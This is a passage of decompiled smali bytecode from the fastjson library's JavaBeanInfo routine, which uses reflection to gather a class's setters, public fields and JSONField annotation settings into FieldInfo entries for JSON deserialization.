                                                375move/from16 v8, v23
                                                376move-object/from16 v30, v9
                                                377move-object/from16 v9, v18
                                                378move-object/from16 v31, v10
                                                379move-object/from16 v10, v24
                                                380move-object v13, v11
                                                381move-object/from16 v24, v14
                                                382move-object/from16 v14, v20
                                                383move-object/from16 v11, v25
                                                385invoke-direct/range {v0 .. v11}, Lcom/alibaba/fastjson/util/FieldInfo;-><init>(Ljava/lang/String;Ljava/lang/reflect/Method;Ljava/lang/reflect/Field;Ljava/lang/Class;Ljava/lang/reflect/Type;IIILcom/alibaba/fastjson/annotation/JSONField;Lcom/alibaba/fastjson/annotation/JSONField;Ljava/lang/String;)V
                                                386move-object/from16 v0, v26
                                                387move-object/from16 v11, v30
                                                389invoke-static {v11, v0}, Lcom/alibaba/fastjson/util/JavaBeanInfo;->add(Ljava/util/List;Lcom/alibaba/fastjson/util/FieldInfo;)Z
                                                390goto/16 :goto_268
                                                391cond_238: move/from16 v27, v6
                                                392move/from16 v28, v7
                                                393move-object/from16 v29, v8
                                                394move-object/from16 v31, v10
                                                395move-object v13, v11
                                                396move-object/from16 v24, v14
                                                397move-object/from16 v14, v20
                                                398move-object v11, v9
                                                399move/from16 v6, v19
                                                400move/from16 v7, v21
                                                401move/from16 v8, v23
                                                402goto/16 :goto_25e
                                                403cond_24d: move/from16 v27, v6
                                                404move/from16 v28, v7
                                                405move-object/from16 v29, v8
                                                406move-object/from16 v31, v10
                                                407move-object v13, v11
                                                408move-object/from16 v24, v14
                                                409move-object/from16 v14, v20
                                                410move-object v11, v9
                                                411const/4 v6, 0x0
                                                412const/4 v7, 0x0
                                                413const/4 v8, 0x0
                                                414goto_25e:
                                                415invoke-virtual {v2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                                                416move-result-object v0
                                                418invoke-virtual {v0, v13}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                419move-result v1
                                                420if-nez v1, :cond_26c
                                                421goto_268: move-object/from16 v18, v13
                                                422move-object v13, v11
                                                423goto/16 :goto_2be
                                                424cond_26c:
                                                425invoke-virtual {v0}, Ljava/lang/String;->length()I
                                                426move-result v1
                                                428invoke-virtual {v13}, Ljava/lang/String;->length()I
                                                429move-result v3
                                                430if-gt v1, v3, :cond_277
                                                431goto/16 :goto_268
                                                432cond_277:
                                                433invoke-virtual {v13}, Ljava/lang/String;->length()I
                                                434move-result v1
                                                436invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
                                                437move-result v1
                                                439invoke-static {v1}, Ljava/lang/Character;->isUpperCase(C)Z
                                                440move-result v3
                                                441if-nez v3, :cond_286
                                                442goto/16 :goto_268
                                                443cond_286: new-instance v3, Ljava/lang/StringBuilder;
                                                445invoke-virtual {v13}, Ljava/lang/String;->length()I
                                                446move-result v4
                                                448invoke-virtual {v0, v4}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                449move-result-object v0
                                                451invoke-direct {v3, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                                                453invoke-static {v1}, Ljava/lang/Character;->toLowerCase(C)C
                                                454move-result v0
                                                455const/4 v10, 0x0
                                                457invoke-virtual {v3, v10, v0}, Ljava/lang/StringBuilder;->setCharAt(IC)V
                                                459invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                460move-result-object v1
                                                461new-instance v9, Lcom/alibaba/fastjson/util/FieldInfo;
                                                462const/4 v3, 0x0
                                                463const/16 v19, 0x0
                                                464const/16 v20, 0x0
                                                465move-object v0, v9
                                                466move-object/from16 v4, p0
                                                467move-object/from16 v5, p1
                                                468move-object/from16 v32, v9
                                                469move-object/from16 v9, v18
                                                470move-object/from16 v10, v19
                                                471move-object/from16 v18, v13
                                                472move-object v13, v11
                                                473move-object/from16 v11, v20
                                                475invoke-direct/range {v0 .. v11}, Lcom/alibaba/fastjson/util/FieldInfo;-><init>(Ljava/lang/String;Ljava/lang/reflect/Method;Ljava/lang/reflect/Field;Ljava/lang/Class;Ljava/lang/reflect/Type;IIILcom/alibaba/fastjson/annotation/JSONField;Lcom/alibaba/fastjson/annotation/JSONField;Ljava/lang/String;)V
                                                476move-object/from16 v0, v32
                                                478invoke-static {v13, v0}, Lcom/alibaba/fastjson/util/JavaBeanInfo;->add(Ljava/util/List;Lcom/alibaba/fastjson/util/FieldInfo;)Z
                                                479goto_2be: add-int/lit8 v6, v27, 0x1
                                                480move-object v9, v13
                                                481move-object/from16 v20, v14
                                                482move-object/from16 v11, v18
                                                483move-object/from16 v14, v24
                                                484move/from16 v7, v28
                                                485move-object/from16 v8, v29
                                                486move-object/from16 v10, v31
                                                487move-object/from16 v13, p2
                                                488goto/16 :goto_19f
                                                489cond_2d1: move-object v13, v9
                                                490move-object/from16 v31, v10
                                                491move-object/from16 v24, v14
                                                492move-object/from16 v14, v20
                                                493if-eqz v15, :cond_322
                                                494const-class v0, Lcom/alibaba/fastjson/annotation/JSONPOJOBuilder;
                                                496invoke-virtual {v15, v0}, Ljava/lang/Class;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                497move-result-object v0
                                                498check-cast v0, Lcom/alibaba/fastjson/annotation/JSONPOJOBuilder;
                                                499if-eqz v0, :cond_2e9
                                                501invoke-interface {v0}, Lcom/alibaba/fastjson/annotation/JSONPOJOBuilder;->buildMethod()Ljava/lang/String;
                                                502move-result-object v0
                                                503goto/16 :goto_2eb
                                                504cond_2e9: move-object/from16 v0, v17
                                                505goto_2eb: if-eqz v0, :cond_2f3
                                                507invoke-virtual {v0}, Ljava/lang/String;->length()I
                                                508move-result v1
                                                509if-nez v1, :cond_2f5
                                                510cond_2f3:
                                                511const-string v0, "build"
                                                512cond_2f5: const/4 v11, 0x0
                                                513try_start_2f6: new-array v1, v11, [Ljava/lang/Class;
                                                515invoke-virtual {v15, v0, v1}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                516move-result-object v0
                                                517try_end_2fc: goto/16 :goto_2ff
                                                518catch_2fd: move-object/from16 v0, v17
                                                519goto_2ff: if-nez v0, :cond_30b
                                                520try_start_301:
                                                521const-string v1, "create"
                                                522new-array v2, v11, [Ljava/lang/Class;
                                                524invoke-virtual {v15, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                525move-result-object v0
                                                526try_end_309: goto/16 :goto_30b
                                                527catch_30a: nop
                                                528goto_30b: if-eqz v0, :cond_313
                                                530invoke-static {v0}, Lcom/alibaba/fastjson/util/TypeUtils;->setAccessible(Ljava/lang/reflect/AccessibleObject;)V
                                                531move-object/from16 v18, v0
                                                532goto/16 :goto_325
                                                533cond_313: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                535const-string v1, "buildMethod not found."
                                                537invoke-direct {v0, v1}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                538throw v0
                                                539cond_31b: move-object v13, v9
                                                540move-object/from16 v31, v10
                                                541move-object/from16 v24, v14
                                                542move-object/from16 v14, v20
                                                543cond_322: const/4 v11, 0x0
                                                544move-object/from16 v18, v17
                                                545goto_325: move-object/from16 v10, v31
                                                546array-length v9, v10
                                                547const/4 v8, 0x0
                                                548goto_329: const/4 v7, 0x4
                                                549const/4 v6, 0x3
                                                550const/4 v5, 0x1
                                                551if-ge v8, v9, :cond_518
                                                552aget-object v2, v10, v8
                                                554invoke-virtual {v2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                                                555move-result-object v0
                                                557invoke-virtual {v0}, Ljava/lang/String;->length()I
                                                558move-result v1
                                                559if-ge v1, v7, :cond_346
                                                560goto_33a: move/from16 v26, v8
                                                561move/from16 v27, v9
                                                562move-object/from16 v28, v10
                                                563move-object/from16 v23, v15
                                                564goto_342: move-object/from16 v15, p2
                                                565goto/16 :goto_50b
                                                566cond_346:
                                                567invoke-virtual {v2}, Ljava/lang/reflect/Method;->getModifiers()I
                                                568move-result v1
                                                570invoke-static {v1}, Ljava/lang/reflect/Modifier;->isStatic(I)Z
                                                571move-result v1
                                                572if-eqz v1, :cond_351
                                                573goto/16 :goto_33a
                                                574cond_351:
                                                575invoke-virtual {v2}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                576move-result-object v1
                                                578sget-object v3, Ljava/lang/Void;->TYPE:Ljava/lang/Class;
                                                580invoke-virtual {v1, v3}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                                                581move-result v1
                                                582if-nez v1, :cond_36c
                                                584invoke-virtual {v2}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                585move-result-object v1
                                                587invoke-virtual {v2}, Ljava/lang/reflect/Method;->getDeclaringClass()Ljava/lang/Class;
                                                588move-result-object v3
                                                590invoke-virtual {v1, v3}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                                                591move-result v1
                                                592if-nez v1, :cond_36c
                                                593goto/16 :goto_33a
                                                594cond_36c:
                                                595invoke-virtual {v2}, Ljava/lang/reflect/Method;->getParameterTypes()[Ljava/lang/Class;
                                                596move-result-object v1
                                                597array-length v3, v1
                                                598if-eq v3, v5, :cond_374
                                                599goto/16 :goto_33a
                                                600cond_374: const-class v3, Lcom/alibaba/fastjson/annotation/JSONField;
                                                602invoke-virtual {v2, v3}, Ljava/lang/reflect/Method;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                603move-result-object v3
                                                604check-cast v3, Lcom/alibaba/fastjson/annotation/JSONField;
                                                605if-nez v3, :cond_382
                                                607invoke-static {v12, v2}, Lcom/alibaba/fastjson/util/TypeUtils;->getSuperMethodAnnotation(Ljava/lang/Class;Ljava/lang/reflect/Method;)Lcom/alibaba/fastjson/annotation/JSONField;
                                                608move-result-object v3
                                                609cond_382: move-object/from16 v19, v3
                                                610if-eqz v19, :cond_3e6
                                                612invoke-interface/range {v19 .. v19}, Lcom/alibaba/fastjson/annotation/JSONField;->deserialize()Z
                                                613move-result v3
                                                614if-nez v3, :cond_38d
                                                615goto/16 :goto_33a
                                                616cond_38d:
                                                617invoke-interface/range {v19 .. v19}, Lcom/alibaba/fastjson/annotation/JSONField;->ordinal()I
                                                618move-result v20
                                                620invoke-interface/range {v19 .. v19}, Lcom/alibaba/fastjson/annotation/JSONField;->serialzeFeatures()[Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                621move-result-object v3
                                                623invoke-static {v3}, Lcom/alibaba/fastjson/serializer/SerializerFeature;->of([Lcom/alibaba/fastjson/serializer/SerializerFeature;)I
                                                624move-result v21
                                                626invoke-interface/range {v19 .. v19}, Lcom/alibaba/fastjson/annotation/JSONField;->parseFeatures()[Lcom/alibaba/fastjson/parser/Feature;
                                                627move-result-object v3
                                                629invoke-static {v3}, Lcom/alibaba/fastjson/parser/Feature;->of([Lcom/alibaba/fastjson/parser/Feature;)I
                                                630move-result v22
                                                632invoke-interface/range {v19 .. v19}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                633move-result-object v3
                                                635invoke-virtual {v3}, Ljava/lang/String;->length()I
                                                636move-result v3
                                                637if-eqz v3, :cond_3dc
                                                639invoke-interface/range {v19 .. v19}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                640move-result-object v1
                                                641new-instance v7, Lcom/alibaba/fastjson/util/FieldInfo;
                                                642const/4 v3, 0x0
                                                643const/16 v23, 0x0
                                                644const/16 v25, 0x0
                                                645move-object v0, v7
                                                646move-object/from16 v4, p0
                                                647move-object/from16 v5, p1
                                                648move/from16 v6, v20
                                                649move-object/from16 v34, v7
                                                650move/from16 v7, v21
                                                651move/from16 v26, v8
                                                652move/from16 v8, v22
                                                653move/from16 v27, v9
                                                654move-object/from16 v9, v19
                                                655move-object/from16 v28, v10
                                                656move-object/from16 v10, v23
                                                657move-object/from16 v23, v15
                                                658const/4 v15, 0x0
                                                659move-object/from16 v11, v25
                                                661invoke-direct/range {v0 .. v11}, Lcom/alibaba/fastjson/util/FieldInfo;-><init>(Ljava/lang/String;Ljava/lang/reflect/Method;Ljava/lang/reflect/Field;Ljava/lang/Class;Ljava/lang/reflect/Type;IIILcom/alibaba/fastjson/annotation/JSONField;Lcom/alibaba/fastjson/annotation/JSONField;Ljava/lang/String;)V
                                                662move-object/from16 v0, v34
                                                664invoke-static {v13, v0}, Lcom/alibaba/fastjson/util/JavaBeanInfo;->add(Ljava/util/List;Lcom/alibaba/fastjson/util/FieldInfo;)Z
                                                665goto/16 :goto_342
                                                666cond_3dc: move/from16 v26, v8
                                                667move/from16 v27, v9
                                                668move-object/from16 v28, v10
                                                669move-object/from16 v23, v15
                                                670const/4 v15, 0x0
                                                671goto/16 :goto_3f5
                                                672cond_3e6: move/from16 v26, v8
                                                673move/from16 v27, v9
                                                674move-object/from16 v28, v10
                                                675move-object/from16 v23, v15
                                                676const/4 v15, 0x0
                                                677const/16 v20, 0x0
                                                678const/16 v21, 0x0
                                                679const/16 v22, 0x0
                                                680goto_3f5:
                                                681const-string v3, "set"
                                                683invoke-virtual {v0, v3}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                684move-result v3
                                                685if-nez v3, :cond_3ff
                                                686goto/16 :goto_342
                                                687cond_3ff:
                                                688invoke-virtual {v0, v6}, Ljava/lang/String;->charAt(I)C
                                                689move-result v3
                                                691invoke-static {v3}, Ljava/lang/Character;->isUpperCase(C)Z
                                                692move-result v4
                                                693if-nez v4, :cond_43a
                                                694const/16 v4, 0x200
                                                695if-le v3, v4, :cond_40e
                                                696goto/16 :goto_43a
                                                697cond_40e: const/16 v4, 0x5f
                                                698if-ne v3, v4, :cond_417
                                                700invoke-virtual {v0, v7}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                701move-result-object v0
                                                702goto/16 :goto_462
                                                703cond_417: const/16 v4, 0x66
                                                704if-ne v3, v4, :cond_420
                                                706invoke-virtual {v0, v6}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                707move-result-object v0
                                                708goto/16 :goto_462
                                                709cond_420:
                                                710invoke-virtual {v0}, Ljava/lang/String;->length()I
                                                711move-result v3
                                                712const/4 v4, 0x5
                                                713if-lt v3, v4, :cond_342
                                                715invoke-virtual {v0, v7}, Ljava/lang/String;->charAt(I)C
                                                716move-result v3
                                                718invoke-static {v3}, Ljava/lang/Character;->isUpperCase(C)Z
                                                719move-result v3
                                                720if-eqz v3, :cond_342
                                                722invoke-virtual {v0, v6}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                723move-result-object v0
                                                725invoke-static {v0}, Lcom/alibaba/fastjson/util/TypeUtils;->decapitalize(Ljava/lang/String;)Ljava/lang/String;
                                                726move-result-object v0
                                                727goto/16 :goto_462
                                                728cond_43a: sget-boolean v3, Lcom/alibaba/fastjson/util/TypeUtils;->compatibleWithJavaBean:Z
                                                729if-eqz v3, :cond_447
                                                731invoke-virtual {v0, v6}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                732move-result-object v0
                                                734invoke-static {v0}, Lcom/alibaba/fastjson/util/TypeUtils;->decapitalize(Ljava/lang/String;)Ljava/lang/String;
                                                735move-result-object v0
                                                736goto/16 :goto_462
                                                737cond_447: new-instance v3, Ljava/lang/StringBuilder;
                                                739invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                741invoke-virtual {v0, v6}, Ljava/lang/String;->charAt(I)C
                                                742move-result v4
                                                744invoke-static {v4}, Ljava/lang/Character;->toLowerCase(C)C
                                                745move-result v4
                                                747invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                                749invoke-virtual {v0, v7}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                750move-result-object v0
                                                752invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                754invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                755move-result-object v0
                                                756goto_462:
                                                757invoke-static {v12, v0, v14}, Lcom/alibaba/fastjson/util/TypeUtils;->getField(Ljava/lang/Class;Ljava/lang/String;[Ljava/lang/reflect/Field;)Ljava/lang/reflect/Field;
                                                758move-result-object v3
                                                759if-nez v3, :cond_493
                                                760aget-object v1, v1, v15
                                                762sget-object v4, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                763if-ne v1, v4, :cond_493
                                                764new-instance v1, Ljava/lang/StringBuilder;
                                                766invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                768const-string v3, "is"
                                                770invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                772invoke-virtual {v0, v15}, Ljava/lang/String;->charAt(I)C
                                                773move-result v3
                                                775invoke-static {v3}, Ljava/lang/Character;->toUpperCase(C)C
                                                776move-result v3
                                                778invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                                780invoke-virtual {v0, v5}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                781move-result-object v3
                                                783invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                785invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                786move-result-object v1
                                                788invoke-static {v12, v1, v14}, Lcom/alibaba/fastjson/util/TypeUtils;->getField(Ljava/lang/Class;Ljava/lang/String;[Ljava/lang/reflect/Field;)Ljava/lang/reflect/Field;
                                                789move-result-object v1
                                                790move-object v3, v1
                                                791cond_493: if-eqz v3, :cond_4e6
                                                792const-class v1, Lcom/alibaba/fastjson/annotation/JSONField;
                                                794invoke-virtual {v3, v1}, Ljava/lang/reflect/Field;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                795move-result-object v1
                                                796move-object v10, v1
                                                797check-cast v10, Lcom/alibaba/fastjson/annotation/JSONField;
                                                798if-eqz v10, :cond_4e3
                                                800invoke-interface {v10}, Lcom/alibaba/fastjson/annotation/JSONField;->deserialize()Z
                                                801move-result v1
                                                802if-nez v1, :cond_4a8
                                                803goto/16 :goto_342
                                                804cond_4a8:
                                                805invoke-interface {v10}, Lcom/alibaba/fastjson/annotation/JSONField;->ordinal()I
                                                806move-result v6
                                                808invoke-interface {v10}, Lcom/alibaba/fastjson/annotation/JSONField;->serialzeFeatures()[Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                809move-result-object v1
                                                811invoke-static {v1}, Lcom/alibaba/fastjson/serializer/SerializerFeature;->of([Lcom/alibaba/fastjson/serializer/SerializerFeature;)I
                                                812move-result v7
                                                814invoke-interface {v10}, Lcom/alibaba/fastjson/annotation/JSONField;->parseFeatures()[Lcom/alibaba/fastjson/parser/Feature;
                                                815move-result-object v1
                                                817invoke-static {v1}, Lcom/alibaba/fastjson/parser/Feature;->of([Lcom/alibaba/fastjson/parser/Feature;)I
                                                818move-result v8
                                                820invoke-interface {v10}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                821move-result-object v1
                                                823invoke-virtual {v1}, Ljava/lang/String;->length()I
                                                824move-result v1
                                                825if-eqz v1, :cond_4e0
                                                827invoke-interface {v10}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                828move-result-object v1
                                                829new-instance v11, Lcom/alibaba/fastjson/util/FieldInfo;
                                                830const/16 v20, 0x0
                                                831move-object v0, v11
                                                832move-object/from16 v4, p0
                                                833move-object/from16 v5, p1
                                                834move-object/from16 v9, v19
                                                835move-object v15, v11
                                                836move-object/from16 v11, v20
                                                838invoke-direct/range {v0 .. v11}, Lcom/alibaba/fastjson/util/FieldInfo;-><init>(Ljava/lang/String;Ljava/lang/reflect/Method;Ljava/lang/reflect/Field;Ljava/lang/Class;Ljava/lang/reflect/Type;IIILcom/alibaba/fastjson/annotation/JSONField;Lcom/alibaba/fastjson/annotation/JSONField;Ljava/lang/String;)V
                                                840invoke-static {v13, v15}, Lcom/alibaba/fastjson/util/JavaBeanInfo;->add(Ljava/util/List;Lcom/alibaba/fastjson/util/FieldInfo;)Z
                                                841goto/16 :goto_342
                                                842cond_4e0: move-object/from16 v15, p2
                                                843goto/16 :goto_4f0
                                                844cond_4e3: move-object/from16 v15, p2
                                                845goto/16 :goto_4ea
                                                846cond_4e6: move-object/from16 v15, p2
                                                847move-object/from16 v10, v17
                                                848goto_4ea: move/from16 v6, v20
                                                849move/from16 v7, v21
                                                850move/from16 v8, v22
                                                851goto_4f0: if-eqz v15, :cond_4f6
                                                853invoke-virtual {v15, v0}, Lcom/alibaba/fastjson/PropertyNamingStrategy;->translate(Ljava/lang/String;)Ljava/lang/String;
                                                854move-result-object v0
                                                855cond_4f6: move-object v1, v0
                                                856new-instance v11, Lcom/alibaba/fastjson/util/FieldInfo;
                                                857const/16 v20, 0x0
                                                858move-object v0, v11
                                                859move-object/from16 v4, p0
                                                860move-object/from16 v5, p1
                                                861move-object/from16 v9, v19
                                                862move-object v12, v11
                                                863move-object/from16 v11, v20
                                                865invoke-direct/range {v0 .. v11}, Lcom/alibaba/fastjson/util/FieldInfo;-><init>(Ljava/lang/String;Ljava/lang/reflect/Method;Ljava/lang/reflect/Field;Ljava/lang/Class;Ljava/lang/reflect/Type;IIILcom/alibaba/fastjson/annotation/JSONField;Lcom/alibaba/fastjson/annotation/JSONField;Ljava/lang/String;)V
                                                867invoke-static {v13, v12}, Lcom/alibaba/fastjson/util/JavaBeanInfo;->add(Ljava/util/List;Lcom/alibaba/fastjson/util/FieldInfo;)Z
                                                868goto_50b: add-int/lit8 v8, v26, 0x1
                                                869move-object/from16 v12, p0
                                                870move-object/from16 v15, v23
                                                871move/from16 v9, v27
                                                872move-object/from16 v10, v28
                                                873const/4 v11, 0x0
                                                874goto/16 :goto_329
                                                875cond_518: move-object/from16 v23, v15
                                                876move-object/from16 v15, p2
                                                878invoke-virtual/range {p0 .. p0}, Ljava/lang/Class;->getFields()[Ljava/lang/reflect/Field;
                                                879move-result-object v12
                                                880array-length v14, v12
                                                881const/4 v11, 0x0
                                                882goto_522: if-ge v11, v14, :cond_600
                                                883aget-object v3, v12, v11
                                                885invoke-virtual {v3}, Ljava/lang/reflect/Field;->getModifiers()I
                                                886move-result v0
                                                887and-int/lit8 v1, v0, 0x8
                                                888if-eqz v1, :cond_534
                                                889goto_52e: move/from16 v17, v11
                                                890const/16 v21, 0x1
                                                891goto/16 :goto_5f9
                                                892cond_534: and-int/lit8 v0, v0, 0x10
                                                893if-eqz v0, :cond_56b
                                                895invoke-virtual {v3}, Ljava/lang/reflect/Field;->getType()Ljava/lang/Class;
                                                896move-result-object v0
                                                897const-class v1, Ljava/util/Map;
                                                899invoke-virtual {v1, v0}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                900move-result v1
                                                901if-nez v1, :cond_567
                                                902const-class v1, Ljava/util/Collection;
                                                904invoke-virtual {v1, v0}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                905move-result v1
                                                906if-nez v1, :cond_567
                                                907const-class v1, Ljava/util/concurrent/atomic/AtomicLong;
                                                909invoke-virtual {v1, v0}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                                                910move-result v1
                                                911if-nez v1, :cond_567
                                                912const-class v1, Ljava/util/concurrent/atomic/AtomicInteger;
                                                914invoke-virtual {v1, v0}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                                                915move-result v1
                                                916if-nez v1, :cond_567
                                                917const-class v1, Ljava/util/concurrent/atomic/AtomicBoolean;
                                                919invoke-virtual {v1, v0}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                                                920move-result v0
                                                921if-eqz v0, :cond_565
                                                922goto/16 :goto_567
                                                923cond_565: const/4 v0, 0x0
                                                924goto/16 :goto_568
                                                925goto_567: const/4 v0, 0x1
                                                926goto_568: if-nez v0, :cond_56b
                                                927goto/16 :goto_52e
                                                928cond_56b:
                                                929invoke-interface {v13}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                                930move-result-object v0
                                                931cond_56f:
                                                932invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
                                                933move-result v1
                                                934if-eqz v1, :cond_589
                                                936invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                937move-result-object v1
                                                938check-cast v1, Lcom/alibaba/fastjson/util/FieldInfo;
                                                940iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                942invoke-virtual {v3}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                                                943move-result-object v2
                                                945invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                946move-result v1
                                                947if-eqz v1, :cond_56f
                                                948const/4 v0, 0x1
                                                949goto/16 :goto_58a
                                                950cond_589: const/4 v0, 0x0
                                                951goto_58a: if-eqz v0, :cond_58d
                                                952goto/16 :goto_52e
                                                953cond_58d:
                                                954invoke-virtual {v3}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                                                955move-result-object v0
                                                956const-class v1, Lcom/alibaba/fastjson/annotation/JSONField;
                                                958invoke-virtual {v3, v1}, Ljava/lang/reflect/Field;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                                                959move-result-object v1
                                                960move-object v10, v1
                                                961check-cast v10, Lcom/alibaba/fastjson/annotation/JSONField;
                                                962if-eqz v10, :cond_5ca
                                                964invoke-interface {v10}, Lcom/alibaba/fastjson/annotation/JSONField;->deserialize()Z
                                                965move-result v1
                                                966if-nez v1, :cond_5a3
                                                967goto/16 :goto_52e
                                                968cond_5a3:
                                                969invoke-interface {v10}, Lcom/alibaba/fastjson/annotation/JSONField;->ordinal()I
                                                970move-result v1
                                                972invoke-interface {v10}, Lcom/alibaba/fastjson/annotation/JSONField;->serialzeFeatures()[Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                973move-result-object v2
                                                975invoke-static {v2}, Lcom/alibaba/fastjson/serializer/SerializerFeature;->of([Lcom/alibaba/fastjson/serializer/SerializerFeature;)I
                                                976move-result v2
                                                978invoke-interface {v10}, Lcom/alibaba/fastjson/annotation/JSONField;->parseFeatures()[Lcom/alibaba/fastjson/parser/Feature;
                                                979move-result-object v4
                                                981invoke-static {v4}, Lcom/alibaba/fastjson/parser/Feature;->of([Lcom/alibaba/fastjson/parser/Feature;)I
                                                982move-result v4
                                                984invoke-interface {v10}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                985move-result-object v8
                                                987invoke-virtual {v8}, Ljava/lang/String;->length()I
                                                988move-result v8
                                                989if-eqz v8, :cond_5c5
                                                991invoke-interface {v10}, Lcom/alibaba/fastjson/annotation/JSONField;->name()Ljava/lang/String;
                                                992move-result-object v0
                                                993cond_5c5: move v8, v1
                                                994move v9, v2
                                                995move/from16 v17, v4
                                                996goto/16 :goto_5ce
                                                997cond_5ca: const/4 v8, 0x0
                                                998const/4 v9, 0x0
                                                999const/16 v17, 0x0
                                                1000goto_5ce: if-eqz v15, :cond_5d4
                                                1002invoke-virtual {v15, v0}, Lcom/alibaba/fastjson/PropertyNamingStrategy;->translate(Ljava/lang/String;)Ljava/lang/String;
                                                1003move-result-object v0
                                                1004cond_5d4: move-object v1, v0
                                                1005new-instance v4, Lcom/alibaba/fastjson/util/FieldInfo;
                                                1006const/4 v2, 0x0
                                                1007const/16 v19, 0x0
                                                1008const/16 v20, 0x0
                                                1009move-object v0, v4
                                                1010move-object/from16 v35, v4
                                                1011move-object/from16 v4, p0
                                                1012const/16 v21, 0x1
                                                1013move-object/from16 v5, p1
                                                1014move v6, v8
                                                1015const/4 v8, 0x4
                                                1016move v7, v9
                                                1017const/4 v9, 0x4
                                                1018move/from16 v8, v17
                                                1019move-object/from16 v9, v19
                                                1020move/from16 v17, v11
                                                1021move-object/from16 v11, v20
                                                1023invoke-direct/range {v0 .. v11}, Lcom/alibaba/fastjson/util/FieldInfo;-><init>(Ljava/lang/String;Ljava/lang/reflect/Method;Ljava/lang/reflect/Field;Ljava/lang/Class;Ljava/lang/reflect/Type;IIILcom/alibaba/fastjson/annotation/JSONField;Lcom/alibaba/fastjson/annotation/JSONField;Ljava/lang/String;)V
                                                1024move-object/from16 v0, v35
                                                1026invoke-static {v13, v0}, Lcom/alibaba/fastjson/util/JavaBeanInfo;->add(Ljava/util/List;Lcom/alibaba/fastjson/util/FieldInfo;)Z
                                                1027goto_5f9: add-int/lit8 v11, v17, 0x1
                                                1028const/4 v5, 0x1
                                                1029const/4 v6, 0x3
                                                1030const/4 v7, 0x4
                                                1031goto/16 :goto_522
                                                1032cond_600:
                                                1033invoke-virtual/range {p0 .. p0}, Ljava/lang/Class;->getMethods()[Ljava/lang/reflect/Method;
                                                1034move-result-object v12
                                                1035array-length v14, v12
                                                1036const/4 v11, 0x0
                                                1037goto_606: if-ge v11, v14, :cond_6ed
                                                1038aget-object v2, v12, v11
                                                1040invoke-virtual {v2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                                                1041move-result-object v0
                                                1043invoke-virtual {v0}, Ljava/lang/String;->length()I
                                                1044move-result v1
                                                1045const/4 v10, 0x4
                                                1046if-ge v1, v10, :cond_61d
                                                1047cond_615: move/from16 v33, v11
                                                1048const/16 v17, 0x4
                                                1049const/16 v19, 0x3
                                                1050goto/16 :goto_6e9
                                                1051cond_61d:
                                                1052invoke-virtual {v2}, Ljava/lang/reflect/Method;->getModifiers()I
                                                1053move-result v1
